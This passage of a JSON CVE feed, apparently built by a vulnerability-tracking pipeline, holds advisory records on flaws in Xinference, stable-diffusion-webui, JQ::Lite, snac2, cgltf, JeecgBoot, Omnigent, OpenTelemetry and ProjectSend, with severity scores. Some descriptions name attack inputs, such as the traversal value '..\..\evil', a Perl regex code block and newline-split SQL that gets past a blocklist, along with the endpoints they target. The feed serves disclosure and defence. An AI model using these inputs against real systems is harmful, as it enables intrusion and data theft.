2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112051","cveId":"CVE-2026-112051","aliases":[],"kind":"vulnerability","title":"Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences...","summary":"Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences in model_name. Attackers can register a persisted custom model through POST /v1/model_registrations/{model_type} with names like ..\\..\\evil to overwrite configuration or data files writable by the Xinference process.","detail":"Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences in model_name. Attackers can register a persisted custom model through POST /v1/model_registrations/{model_type} with names like ..\\..\\evil to overwrite configuration or data files writable by the Xinference process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T13:16:37.190Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112051","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00365,"percentile":0.30074,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112051","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112051","type":"primary","publishedAt":"2026-10-18T13:16:37.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111986","cveId":"CVE-2026-111986","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component...","summary":"A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component Model Instantiation. This manipulation of the argument Target causes code injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component Model Instantiation. This manipulation of the argument Target causes code injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T13:16:35.920Z","updatedAt":"2026-10-22T03:16:32.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111986","asOf":"2026-10-22T03:16:32.500Z"},"epss":{"probability":0.00306,"percentile":0.23168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111986","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111986","type":"primary","publishedAt":"2026-10-18T13:16:35.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78497","cveId":"CVE-2026-78497","aliases":[],"kind":"vulnerability","title":"JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval.","summary":"JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval.\n\nThe pattern given to test(), match(), or the match and =~ conditions of select() is placed in a `qr'...'` literal and compiled as source text, so a `(?{ ... })` code block in it runs without `use re 'eval'`. Single quotes in the pattern are escaped, but a code block runs in place and needs none.\n\nAn attacker who supplies a query, or text that an application inserts into the pattern of one, can execute arbitrary Perl code in the calling process.","detail":"JQ::Lite versions before 2.51 for Perl execute Perl code embedded in a query's regular expression by compiling it with string eval.\n\nThe pattern given to test(), match(), or the match and =~ conditions of select() is placed in a `qr'...'` literal and compiled as source text, so a `(?{ ... })` code block in it runs without `use re 'eval'`. Single quotes in the pattern are escaped, but a code block runs in place and needs none.\n\nAn attacker who supplies a query, or text that an application inserts into the pattern of one, can execute arbitrary Perl code in the calling process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:15.350Z","updatedAt":"2026-10-20T19:18:15.957Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78497","asOf":"2026-10-20T19:18:15.957Z"},"epss":{"probability":0.00196,"percentile":0.09233,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78497","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78497","type":"primary","publishedAt":"2026-10-18T12:17:15.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112021","cveId":"CVE-2026-112021","aliases":[],"kind":"vulnerability","title":"snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON...","summary":"snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON strings containing a \\u0000 escape. Attackers can send a single crafted application/activity+json POST to activitypub_post_handler(), which parses it before signature checks, overflowing heap allocations and crashing the server.","detail":"snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON strings containing a \\u0000 escape. Attackers can send a single crafted application/activity+json POST to activitypub_post_handler(), which parses it before signature checks, overflowing heap allocations and crashing the server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:15.200Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112021","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.0067,"percentile":0.51699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112021","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112021","type":"primary","publishedAt":"2026-10-18T12:17:15.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112018","cveId":"CVE-2026-112018","aliases":[],"kind":"vulnerability","title":"cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked...","summary":"cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked sparse accessor indices. Attackers can supply a crafted glTF or GLB file with large sparse indices to corrupt heap memory, crash applications, and potentially execute code when cgltf_validate() is not called.","detail":"cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked sparse accessor indices. Attackers can supply a crafted glTF or GLB file with large sparse indices to corrupt heap memory, crash applications, and potentially execute code when cgltf_validate() is not called.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:14.747Z","updatedAt":"2026-10-19T19:17:25.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112018","asOf":"2026-10-19T19:17:25.060Z"},"epss":{"probability":0.00199,"percentile":0.09594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112018","type":"primary","publishedAt":"2026-10-18T12:17:14.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112017","cveId":"CVE-2026-112017","aliases":[],"kind":"vulnerability","title":"JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters...","summary":"JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters into dictionary and online report SQL fragments. Attackers can send newline-separated payloads to endpoints like /sys/dict/getDictItems for boolean or time-based blind injection, extracting database contents including administrator password hashes from sys_user.","detail":"JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters into dictionary and online report SQL fragments. Attackers can send newline-separated payloads to endpoints like /sys/dict/getDictItems for boolean or time-based blind injection, extracting database contents including administrator password hashes from sys_user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:14.600Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112017","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00282,"percentile":0.20514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112017","type":"primary","publishedAt":"2026-10-18T12:17:14.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112015","cveId":"CVE-2026-112015","aliases":[],"kind":"vulnerability","title":"Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents.","summary":"Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents. Attackers can upload a bundle whose sub-agent uses an absolute or parent-traversing working directory, bypassing root-only validation in bundles.py, to read and write host files as the runner user.","detail":"Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents. Attackers can upload a bundle whose sub-agent uses an absolute or parent-traversing working directory, bypassing root-only validation in bundles.py, to read and write host files as the runner user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:14.303Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112015","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00447,"percentile":0.38562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112015","type":"primary","publishedAt":"2026-10-18T12:17:14.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112006","cveId":"CVE-2026-112006","aliases":[],"kind":"vulnerability","title":"OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when...","summary":"OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when OTEL_EXPORTER_OTLP_CERTIFICATE variables are empty strings. Man-in-the-middle attackers can impersonate the collector to read or alter exported traces, metrics, and logs, including authentication headers from OTEL_EXPORTER_OTLP_HEADERS.","detail":"OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when OTEL_EXPORTER_OTLP_CERTIFICATE variables are empty strings. Man-in-the-middle attackers can impersonate the collector to read or alter exported traces, metrics, and logs, including authentication headers from OTEL_EXPORTER_OTLP_HEADERS.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:12.927Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112006","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00215,"percentile":0.11795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112006","type":"primary","publishedAt":"2026-10-18T12:17:12.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112002","cveId":"CVE-2026-112002","aliases":[],"kind":"vulnerability","title":"ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local...","summary":"ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local passwords without the current password. Attackers holding a stolen session cookie can send PUT /settings/password to create a durable local password, enroll their own second factor, and persistently take over the account.","detail":"ProjectSend 2.5.0 before 2.7.0 contains an unverified password change vulnerability in PasswordController::update() that lets sessions of Social-provisioned accounts set local passwords without the current password. Attackers holding a stolen session cookie can send PUT /settings/password to create a durable local password, enroll their own second factor, and persistently take over the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:12.323Z","updatedAt":"2026-10-19T17:17:07.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112002","asOf":"2026-10-19T17:17:07.350Z"},"epss":{"probability":0.0029,"percentile":0.21354,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112002&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112002","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112002","type":"primary","publishedAt":"2026-10-18T12:17:12.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112002&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112002, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112001","cveId":"CVE-2026-112001","aliases":[],"kind":"vulnerability","title":"ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH...","summary":"ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH /api/v1/users/{user}. Attackers with a token limited to manage_users and edit_users can set a new owner password, clear two-factor authentication, and sign in interactively with the owner's full role permissions.","detail":"ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH /api/v1/users/{user}. Attackers with a token limited to manage_users and edit_users can set a new owner password, clear two-factor authentication, and sign in interactively with the owner's full role permissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:12.140Z","updatedAt":"2026-10-19T16:17:04.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112001","asOf":"2026-10-19T16:17:04.780Z"},"epss":{"probability":0.00617,"percentile":0.49239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112001","type":"primary","publishedAt":"2026-10-18T12:17:12.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. 